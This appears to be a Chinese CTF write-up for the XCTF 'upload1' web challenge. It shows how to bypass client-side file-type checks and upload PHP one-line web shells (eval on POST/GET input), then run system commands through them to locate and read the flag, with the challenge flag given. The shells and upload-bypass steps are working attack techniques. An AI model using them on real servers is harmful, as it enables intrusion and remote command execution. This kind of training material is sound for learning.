IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> XCTF-攻防世界CTF平台-Web类——11、upload1 -> 正文阅读

[PHP知识库]XCTF-攻防世界CTF平台-Web类——11、upload1

打开题目地址:
在这里插入图片描述

是一个文件上传的题目
选择一个一句话脚本上传:
在这里插入图片描述

前端存在JS代码校验文件类型,如果上传的文件后缀不是jpg和png,就会让上传按钮变得不使能:
在这里插入图片描述

要绕过前端的JS代码校验,常见的方法有:

(1)把οnchange="check();去掉

可以直接把οnchange="check();去掉,这样提交文件的时候就不会校验文件类型了。
F12查看页面代码:
在这里插入图片描述

删除οnchange="check();
在这里插入图片描述

结果发现选择了1.php文件之后,依然校验了文件后缀,让上传按钮变得不使能了:
在这里插入图片描述
但是在火狐浏览器删除οnchange="check();之后,却已经可以上传1.php文件了:
在这里插入图片描述

点击上传:
在这里插入图片描述

上传成功!

所以谷歌浏览器可能需要把整段JS代码都删掉,那我们干脆直接选择了1.php文件之后:
在这里插入图片描述

把上传按钮的disable属性去掉:
在这里插入图片描述

之后上传按钮就变得使能了,上传1.php:
在这里插入图片描述

上传成功!

(2)禁用浏览器的JS脚本运行

禁用浏览器的JS脚本运行,这样提交文件的时候就也不会校验文件类型了。
例如谷歌浏览器,在高级设置->隐私设置和安全性->JavaScript中,或者直接输入网址:

chrome://settings/content/javascript

在这里插入图片描述

不允许网站使用 JavaScript,可以暂时设置所有网站或者指定目标网址不能执行JavaScript脚本。
再选择1.php:
在这里插入图片描述

没有触发js脚本,上传按钮依旧使能,可以直接上传:
在这里插入图片描述

上传成功!

(3)Burp Suite抓包修改文件后缀名

先将,从浏览器选择11.jpg上传,然后Burp Suite抓包:
在这里插入图片描述

之后发送到重发器,将11.jpg改回11.php然后再发送:
在这里插入图片描述

也能成功上传。

POST方法一句话木马

<?php @eval($_POST['attack']); ?>

一句话木马的原理,通过php的eval函数执行由POST方式提交的attack变量的值,就是把attack=xxx 字符串当成php语句执行。这里的attack只是变量名,也可以改成其他的。
这个一句话木马需要用POST方式提交attack变量的值:

attack=phpinfo();

在这里插入图片描述

phpinfo()输出PHP当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
之后我们可以执行查看当前目录下文件的命令:

attack=system('ls');

在这里插入图片描述

之后搜索flag文件:

attack=system('find / -name "flag*" ');

在这里插入图片描述

发现在/var/www/html/flag.php路径下有flag:
查看flag文件:

attack=system('cat /var/www/html/flag.php');

在这里插入图片描述

返回的flag.php文件内容在注释中,得到flag:cyberpeace{96e8b99eee701e52288e986eb8ea3f2c}

GET方法一句话木马

<?php @eval($_GET['attack']); ?>

一句话木马也可以通过GET方式提交attack变量的值。
上传一个2.php
在这里插入图片描述

之后连接:

http://111.200.241.244:54118/upload/1637599461.2.php?attack=system('cat /var/www/html/flag.php');

在这里插入图片描述

得到flag:cyberpeace{96e8b99eee701e52288e986eb8ea3f2c}

蚁剑连接

此外也可以用蚁剑连接:

<?php @eval($_POST['attack']); ?>

连接第一个POST方式的一句话木马:
在这里插入图片描述

之后就可以使用虚拟终端、查看文件管理、进行数据库操作等:
在这里插入图片描述

找到flag.php:
在这里插入图片描述

得到flag:cyberpeace{96e8b99eee701e52288e986eb8ea3f2c}

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-11-25 07:55:27  更:2021-11-25 07:55:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:38:31-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码